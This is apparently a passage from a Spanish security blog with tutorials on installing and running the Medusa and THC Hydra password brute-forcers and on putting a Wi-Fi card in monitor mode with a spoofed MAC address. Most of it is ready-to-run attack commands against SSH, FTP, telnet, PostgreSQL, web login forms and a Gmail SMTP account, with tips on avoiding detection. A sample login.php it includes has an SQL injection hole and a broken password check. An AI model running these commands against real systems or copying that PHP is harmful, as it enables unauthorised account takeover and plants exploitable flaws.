    root@metempsicosis:~# wget https://github.com/jmk-foofus/medusa/releases/download/2.2_rc2/medusa-2.2_rc2.tar.gz


    Una vez descargado tendremos que extraer el archivo lanzando lo siguiente:
    rencinar@metempsicosis:~$ gunzip medusa-2.2_rc2.tar.gz
    rencinar@metempsicosis:~$ tar -xvf medusa-2.2_rc2.tar

    Ahora, entramos en el directorio medusa-2.2_rc2 y lanzamos el comando ./configure

    rencinar@metempsicosis:~$ cd medusa-2.2_rc2/
    rencinar@metempsicosis:~/medusa-2.2_rc2$ ./configure


    Como se puede comprobar tanto en la ejecución del comando ./configure como en el cuadro resumen final en mi caso faltaba, entre otras, la librería lssh2. Lo que tenemos que hacer es ir instalando las librerías en función de las que nos falten aunque, si queremos realizar un ataque específico, solo es necesario tener instaladas las librerías de los módulos implicados. De esta manera yo no necesitaría instalar la librería lssh2 para realizar por ejemplo ataques a postgreSQL o a servidores SMTP.
    Para instalar la librería lssh2 nos logamos con un usuario que tenga permisos de root y lanzamos lo siguiente:

    root@metempsicosis:/home/rencinar/medusa-2.2_rc2# apt-get install libssh2-1-dev


    Tras instalarla y volver a lanzar el comando ./configure comprobamos en el cuadro resumen que ya está habilitado el módulo para ataques al servicio SSH.

    rencinar@metempsicosis:~/medusa-2.2_rc2$ ./configure


    Como yo no voy a realizar ataques a RDP ni a AFP no necesito instalarlas. En general para instalar la gran mayoría de las librerías que utiliza Medusa lanzaremos el comando:

    root@metempsicosis:/home/rencinar/medusa-2.2_rc2# apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libssh2-1-dev build-essential libpq5 libssh2-1 freerdp libfreerdp-dev libgnutls28-dev libgnutlsxx28

    Tras esto lanzamos los comandos make y make install con un usuario que tenga permisos de root para realizar la instalación.

    root@metempsicosis:/home/rencinar/medusa-2.2_rc2# make
    root@metempsicosis:/home/rencinar/medusa-2.2_rc2# make install
    Tras esto tendremos correctamente instalado medusa.

    Ejemplos de uso

    Ejemplo medusa -d
    Este comando nos dará el conjunto de módulos que tenemos enabled y su versión (los .mod se almacenan por defecto en el directorio /usr/local/lib/medusa/modules)


    Ejemplo medusa -M pop3 -q
    En este caso con la opción -M le indicamos a Medusa que a continuación viene el módulo a usar (en este caso pop3) y con el -q le indicamos que nos muestre la información de ese módulo.



    Ejemplo  medusa -h 10.0.100.34 -u root -P pass.txt -M ssh
    En este ejemplo realizamos un ataque por fuerza bruta al servicio ssh del servidor 10.0.100.34 para el usuario root y con el diccionario pass.txt.



    Ejemplo  medusa -h 10.0.10.5 -u root -P pass.txt -M ftp -t 10
    En este ejemplo realizamos un ataque por fuerza bruta al servicio ftp del servidor 10.0.10.5 para el usuario root y con el diccionario pass.txt. Con la opción -t 10 le indicamos a Medusa que vamos a realizar 10 intentos de login de manera concurrente.

    Ejemplo  medusa -h host.txt -u rencinar-P pass.txt -M telnet -t 10 -T 2
    En este ejemplo realizamos un ataque por fuerza bruta al servicio telnet del listado de servidores host.txt para el usuario rencinar y con el diccionario pass.txt. Con la opción -t 10 le indicamos a Medusa que vamos a realizar 10 intentos de login de manera concurrente y con -T 2 le indicamos que realice tests en 2 host concurrentes. De esta manera se estarán probando a la vez 10 intentos de login para 2 servidores de la lista así que tendremos que tener en cuenta que estaremos abriendo 10 (intentos de login concurrente) x2 (servidores simultáneos)= 20 conexiones simultáneas (hay que tener cuidado con esto porque aunque el test irá mas rápido incrementamos la probabilidad de tener falsos positivos y de ser detectados).

    Ejemplo medusa -h 10.0.10.7 -u  users.txt -P pass.txt -M postgres -n 5432 -t 10 -L
    En este ejemplo realizamos un ataque por fuerza bruta al servicio postgres en el puerto 5432 del servidor 10.0.10.7 con el listado de usuarios users.txt y con el diccionario pass.txt. Al indicarle la opción -L nos abrirá un thread por cada usuario de la lista users.txt y por cada usuario/thread lanzará 10 intentos de login concurrentes (-t 10). Al igual que en el caso anterior deberemos tener cuidado para no tener falsos positivos y no hacer ruido.

    Ejemplo medusa -h 10.10.0.1-u admin -P diccionario.txt -M http -m DIR:/login
    En este ejemplo realizamos un ataque por fuerza bruta a la web de login situado en http://10.10.0.1/login del servidor 10.10.0.1 con el usuario admin y con el diccionario pass.txt.

    Conclusión

    Mi conclusión es que Medusa tiene una mayor potencia y mejor gestión que THC Hydra a la hora de lanzar ataques concurrentes y gestionar threads sin embargo THC Hydra tiene mayor potencia en ataques http y el número de falsos positivos en ataques agresivos es menor que con Medusa. Por lo demás son 2 herramientas muy similares que deben ser complementadas con Crunch para generar los diccionarios y con Nmap para ver que servicios tiene cada máquina con el fin de auditarla.

    miércoles, 5 de agosto de 2015

    Ataque por fuerza bruta con THC Hydra

    ¿Qué es THC Hydra?

    THC Hydra es una potente herramienta para realizar autenticaciones en sistemas remotos mediante fuerza bruta (login cracker) desarrollada por van Hauser. Aunque ha perdido popularidad frente a otros como medusa sigue siendo para mi uno de los mejores para estas auditorías de acceso por la gran cantidad de protocolos soportados y la capacidad de controlar la paralelización/tempo del ataque (cosa imprescindible para burlar sistemas que impidan la realización de esta técnica de cracking). Actualmente Hydra es compatible con:
    • AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, FTPS, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTP-PROXY-URLENUM, ICQ, IMAP, IRC, LDAP2, LDAP3, MS-SQL, MYSQL, NCP, NNTP, Oracle, Oracle-Listener, Oracle-SID, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, REXEC, RLOGIN, RSH, SAP/R3, SIP, SMB, SMTP, SMTP-Enum, SNMP, SOCKS5, SSH(v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC y XMPP.

    Instalar THC Hydra

    Lo primero que haremos es descargarnos Hydra con el comando wget.
    root@metempsicosis:~# wget https://github.com/vanhauser-thc/thc-hydra/archive/master.zip


    Tras esto nos habremos descargado el archivo master.zip. Ahora solo tendremos que descomprimirlo y entrar en el directorio thc-hydra-master.
    root@metempsicosis:~# unzip master.zip
    root@metempsicosis:~# cd thc-hydra-master/
    A partir de este punto deberemos estar logados con un usuario que tenga permisos de root. Ahora tendremos que lanzar el comando ./configure .
    root@metempsicosis:~/thc-hydra-master# ./configure


    Como podemos apreciar en la imagen, al lanzar el comando ./configure nos verifica si tenemos instaladas todas las librerías que necesitan los módulos de Hydra para funcionar correctamente. En este caso al faltar alguna, por ejemplo la librería libpq.so y libpq-fe.h, no podríamos realizar un ataque contra bases de datos postgreSQL por lo que tendremos que irlas instalando nosotros en función de lo que queramos auditar. El ejemplo de instalación de las librerías que pongo a continuación es para Debian Jessie por lo que aquellos que utilicen otras distribuciones deberán buscar la equivalencia de los paquetes.
    Instalación de librerías adicionales:

    root@metempsicosis:~/thc-hydra-master# apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev 

    Y como libncp-dev no está en los repositorios de Debian Jessie la instalo a mano de la siguiente manera:
    root@metempsicosis:~# wget https://packages.debian.org/wheezy/libncp-dev
    root@metempsicosis:~# wget https://packages.debian.org/wheezy/libncp


    Esto nos descarga el archivo libncp-dev_2.2.6-9_i386.deb y libncp_2.2.6-9_i386.deb. Ahora los instalamos con el comando dpkg -i :

    root@metempsicosis:~# dpkg -i libncp_2.2.6-9_i386.deb
    root@metempsicosis:~# dpkg -i libncp-dev_2.2.6-9_i386.deb

    Si ahora lanzamos de nuevo el comando ./configure comprobaremos que tenemos activos casi todos los módulos de Hydra:

    root@metempsicosis:~/thc-hydra-master# ./configure
    Starting hydra auto configuration ...
    Detected 32 Bit Linux OS
    Checking for zlib (libz.so, zlib.h) ...
                                            ... found
    Checking for openssl (libssl, libcrypto, ssl.h, sha.h) ...
                                                           ... found
    Checking for idn (libidn.so) ...
                                 ... found
    Checking for curses (libcurses.so / term.h) ...
                                                ... NOT found, color output disabled
    Checking for pcre (libpcre.so, pcre.h) ...
                                           ... found
    Checking for Postgres (libpq.so, libpq-fe.h) ...
                                                 ... found
    Checking for SVN (libsvn_client-1 libapr-1.so libaprutil-1.so) ...
                                                                   ... found
    Checking for firebird (libfbclient.so) ...
                                           ... found
    Checking for MYSQL client (libmysqlclient.so, math.h) ...
                                                          ... found
    Checking for AFP (libafpclient.so) ...
                                       ... NOT found, module Apple Filing Protocol disabled - Apple sucks anyway
    Checking for NCP (libncp.so / nwcalls.h) ...
                                             ... found
    Checking for SAP/R3 (librfc/saprfc.h) ...
                                          ... NOT found, module sapr3 disabled
    Get it from http://www.sap.com/solutions/netweaver/linux/eval/index.asp
    Checking for libssh (libssh/libssh.h) ...
                                          ... found
    Checking for Oracle (libocci.so libclntsh.so / oci.h and libaio.so) ...
                                                                        ... NOT found, module Oracle disabled
    Get basic and sdk package from http://www.oracle.com/technetwork/database/features/instant-client/index.html
    Checking for GUI req's (pkg-config, gtk+-2.0) ...
                                                  ... found
    Checking for Android specialities ...
                                      ... rindex() found
                                      ... RSA_generate_key() found
    Checking for secure compile option support in gcc ...
                                                      Compiling... yes
                                                      Linking... yes
    Hydra will be installed into .../bin of: /usr/local
      (change this by running ./configure --prefix=path)
    Writing Makefile.in ...
    now type "make"



    Ahora lanzamos los comandos make y make install:
    root@metempsicosis:~/thc-hydra-master# make
    root@metempsicosis:~/thc-hydra-master# make install
    Tras esto tendremos Hydra correctamente instalado.

    Si nuestra red necesita especificar un proxy de salida deberemos hacer persistentes las siguientes variables de entorno para que Hydra funcione correctamente (no es necesario poner todas, solo las que requiramos):
    • HYDRA_PROXY_HTTP="http://192.168.10.1:8080/"
    • HYDRA_PROXY_CONNECT=anonymous.proxy.com:8000
    • HYDRA_PROXY_AUTH="login:password"

    Ejemplos de uso

    A continuación pongo ejemplos de uso que van a servir para explicar las opciones más utilizadas del comando hydra.

    Ejemplo hydra localhost -l rencinar -P pass.txt -t 1 -vV -W 1 -s 22 ssh
    En este ejemplo el objetivo es localhost, con la opción -l le indicamos que el usuario con el que hacer login es rencinar, con la opción -P le indicamos el diccionario de contraseñas con las que probar, con la opción -t le indicamos el número de conexiones simultáneas que va a realizar Hydra (a mayor número, más rápido irá el ataque pero también mayor es la probabilidad de que nos detecten y también mayor probabilidad de tener falsos positivos), con la opción -W indicamos el tiempo en segundos de espera entre una conexión y otra (cuanto menor sea el número más rápido irá Hydra pero también tendremos más riesgo de detección y menor fiabilidad en los resultados), con -s le indicamos el puerto y a continuación pondremos el protocolo, en mi caso será una conexión por ssh. Como podemos ver en la siguiente imagen en el diccionario he puesto la clave del usuario rencinar que es la "12345678".


    Ejemplo hydra localhost -l rencinar -P pass.txt -t 64 -vV -W 1 -s 22 ssh
    Este ejemplo es el mismo que el anterior pero con la opción -t 64. Al parametrizarlo de esta manera lanzará 64 conexiones simultáneas y cómo podemos comprobar en la imagen puede ser que saturemos al objetivo dándonos en multitud de ocasiones "could not connect to target port 22". Como he explicado en el primer ejemplo, al lanzarlo de esta manera tan agresiva el número de falsos positivos o negativos se incrementa muchísimo.


    Ejemplo hydra -S -l rencinar@gmail.com -P /root/pass.txt -e ns -t 1 -vV -W 1 -s 465 smtp.gmail.com smtp
    En este caso vamos a utilizar Hydra para auditar la contraseña de un correo electrónico. Con la opción -S le indicamos que la conexión va a ser mediante SSL, con -l le indicamos la dirección de correo electrónico, con -P le indicamos el diccionario a utilizar, con -e le indicamos opciones adicionales ("n" para que tenga en cuenta las contraseñas nulas y "s" para que realice la acción de login), -vV para que nos muestre toda la información de lo que va pasando, -s para indicarle el puerto, smtp.gmail.com para indicarle la dirección smtp del servidor de correo y smtp para indicarle el protocolo. Por mi experiencia tanto Exchange como MDaemon son relativamente sencillos de atacar y se les puede dar mucha caña pero gmail detecta este tipo de ataques y suele dar muchos falsos positivos, por esto le tendremos que ponerlo muy soft.


    Ejemplo hydra -R
    Cuando estamos lanzando un ataque y paramos la ejecución con un CRT+C o se nos corta de manera involuntaria, Hydra genera un archivo ./hydra.restore donde guarda el progreso que llevamos. Para continuar con la ejecución en el punto donde nos habíamos quedado basta con lanzar el comando hydra -R. En el ejemplo anterior corté la ejecución voluntariamente y en la imagen que pongo a continuación podemos comprobar que tras ejecutar Hydra con la opción -R continúa donde se había quedado.


    Ejemplo hydra localhost -l rencinar -P pass.txt -t 64 -vV -W 1 -s 21 ftp
    Es el mismo caso que en los anteriores pero atacando al puerto 21 con el protocolo ftp.

    Ejemplo hydra 10.0.10.7 -l postgres -P pass.txt -t 64 -vV -W 1 -s 5432 postgres
    Es el mismo caso que en los anteriores pero atacando a una base de datos postgreSQL al puerto 5432 y al servicio postgres.



    Ejemplo web login
    Además de los ejemplos anteriores Hydra nos permite realizar fuerza bruta en formularios de acceso web (todo lo que digo a continuación está probado pero para evitar complicaciones lo pongo con datos ficticios). Estos formularios casi siempre dan un resultado si el login ha sido erróneo y en muy pocos casos dan un resultado afirmativo si el login ha sido correcto. Por esto lo más recomendable es verificar cuales son los usuarios/contraseñas erróneas y el resto serán las correctas.
    Para ello y asumiendo que el servidor web es la IP 10.0.10.12, que el diccionario de usuarios es user.txt, que el diccionario de contraseñas es pass.txt, que el login se realiza mediante el método HTTP POST (como muestra el siguiente ejemplo de login.php) y está situado en el raíz (10.0.10.12/login.php) :

    Ejemplo de login.php

    <?php
    session_start();

    include_once "conexion.php";
    function verificar_login($user,$password,&$result)
        {
            $sql = “SELECT * FROM usuarios WHERE usuario = ‘$user’ and ‘$password’ = ‘$password’”;
            $rec = mysql_query($sql);
            $count = 0;
            while($row = mysql_fetch_object($rec))
            {
                $count++;
                $result = $row;
            }
            if($count == 1)
            {
                return 1;
            }
            else
            {
                return 0;
            }
        }

    if(!isset($_SESSION['userid']))

    {
        if(isset($_POST['login']))

        {
            if(verificar_login($_POST['user'],$_POST['password'],$result) == 1)

            {
                $_SESSION['userid'] = $result->idusuario;
                header("location:index.php");
            }
            else
            {
                echo '<div class="error">
    Acceso Denegado</div>'; 
            }
        }
    ?>
    <form action="" method="post" class="login">
        <div><label>Username</label><input name="user" type="text" ></div>
        <div><label>Password</label><input name="password" type="password"></div>
        <div><input name="login" type="submit" value="login"></div>
    </form>
    <?php
    } else {
        echo 'Su usuario ingreso correctamente.';
        echo '<a href="logout.php">Logout</a>';
    }
    ?>


    El comando a lanzar sería el siguiente:
    root@metempsicosis:~# hydra 10.0.10.12  http-form-post "/login.php:username=^USER^&password=^PASS^:Acceso Denegado" -L  user.txt -P pass.txt -t 5 -w 15

    Por supuesto hay más variantes dependiendo si el login se realiza por HTTP/HTTPS y POST/GET, por ejemplo si el login se realizase por HTTPS POST el comando sería:
    root@metempsicosis:~# hydra 10.0.10.12  https-form-post "/login.php:username=^USER^&password=^PASS^:Acceso Denegado" -L  user.txt -P pass.txt -t 5 -w 15

    Hydra tiene más opciones como -x que nos permite generar un diccionario directamente sin cogerlo de un fichero (pero es mucho menos potente que crunch y por eso no merece la pena explicarlo) o la opción -C <fichero> que nos permite atacar con un fichero cuya estructura sea usuario:contraseña probando así pares de usuario y contraseñas pero son opciones que en rarísimas ocasiones vamos a tener que usar.
    La generalidad del comando en el 90% de los casos es:

     hydra <IP/host objetivo> -l <usuario> -P <fichero con contraseñas> -t <número de ataques simultáneos> -vV -W <tiempo entre ejecución y ejecución> -s <puerto> <protocolo>

    miércoles, 29 de julio de 2015

    SOLUCIONADO SIOCSIFFLAGS: El nombre no es único en la red

    Cuando utilizamos airmon-ng para poner nuestra tarjeta en modo monitor y la salida nos muestra un “SIOCSIFFLAGS: El nombre no es único en la red”, lo que nos está indicando es que nuestra tarjeta tiene algún parámetro que no está bien configurado (con normalidad, si estamos lanzándolo desde un sistema virtualizado, será que la MAC está duplicada en el SO anfitrión y en el virtualizado). A continuación voy a explicar como solucionar el problema configurando la wifi desde 0 en linux asumiendo que los drivers de la tarjeta wifi están correctamente instalados. Para comprobar que los drivers de nuestra tarjeta están correctamente instalados lanzaremos el comando dmesg | grep firmware y no tiene que aparecer ningún error, en caso de tenerlo deberemos instalar el driver correcto. En mi caso la salida es:
    rencinar@debian8:~$ dmesg | grep firmware


    Una vez comprobado que los drivers son correctos miramos el nombre de nuestro dispositivo wifi con el comando ifconfig. A partir de este momento todos los comandos que lancemos deberán ser con un usuario con permisos de root. En mi caso el nombre de la interfaz wifi es wlan0:


    Le asignamos una ip y una mascara de red. Como la estamos utilizando para auditoría de redes inalámbricas no es necesario que sea de nuestro rango:

    root@debian8:~#  ifconfig wlan0 down
    root@debian8:~# ifconfig wlan0 192.168.99.1 netmask 255.255.255.0 up

    Apagamos el dispositivo, le asignamos cualquier MAC y lo volvemos a levantar. Para cambiar la MAC usaremos el comando macchanger (en caso de no tenerlo instalado lo podremos instalar mediante el comando apt-get install macchanger).

    root@debian8:~# ifconfig wlan0 down
    root@debian8:~# macchanger -m 00:48:54:68:07:dc wlan0
    Current MAC: 00:1f:1f:31:3f:f2 (Edimax Technology Co. Ltd.)

    Permanent MAC: 00:1f:1f:31:3f:f2 (Edimax Technology Co. Ltd.)

    New MAC: 00:48:54:68:07:dc (unknown)
    root@debian8:~# ifconfig wlan0 up


    Comprobamos que la ip, la máscara y la MAC están correctamente asignadas:

    root@debian8:~# ip a s
    1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default

    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00

    inet 127.0.0.1/8 scope host lo

    valid_lft forever preferred_lft forever

    inet6 ::1/128 scope host

    valid_lft forever preferred_lft forever

    2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000

    link/ether 08:00:27:f3:76:cb brd ff:ff:ff:ff:ff:ff

    inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic eth0

    valid_lft 85827sec preferred_lft 85827sec

    inet6 fe80::a00:27ff:fef3:76cb/64 scope link

    valid_lft forever preferred_lft forever

    3: wlan0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN group default qlen 1000

    link/ether 00:48:54:68:07:dc brd ff:ff:ff:ff:ff:ff

    inet 192.168.99.1/24 brd 192.168.99.255 scope global wlan0

    valid_lft forever preferred_lft forever


    Ponemos nuestra tarjeta en modo monitor con el comando airmon-ng (en mi caso wlan0)

    root@debian8:~# airmon-ng start wlan0
    Found 5 processes that could cause trouble.
    If airodump-ng, aireplay-ng or airtun-ng stops working after
    a short period of time, you may want to kill (some of) them!
    PID     Name
    425     NetworkManager
    434     avahi-daemon
    492     avahi-daemon
    798     dhclient
    853     wpa_supplicant
    Interface       Chipset         Driver
    wlan0           Ralink 2573 USB rt73usb - [phy0]
                                    (monitor mode enabled on mon0)




    En el caso de que nos indique "SIOCSIFFLAGS: Dispositivo o recurso ocupado"
    o “ioctl(SIOCSIFFLAGS) failed: Device or resource busy” es que se ha quedado pillada la interfaz inalámbrica. Normalmente se soluciona parándola y volviéndola a arrancar.

    root@debian8:~#  ifconfig wlan0 down
    root@debian8:~#  ifconfig mon0 down
    root@debian8:~#  ifconfig wlan0 up

    Tras esto tendremos nuestra tarjeta correctamente arrancada en modo monitor. Lo podremos comprobar lanzando el comando airodump-ng (interfaz en modo monitor)
    root@debian8:~# airodump-ng mon0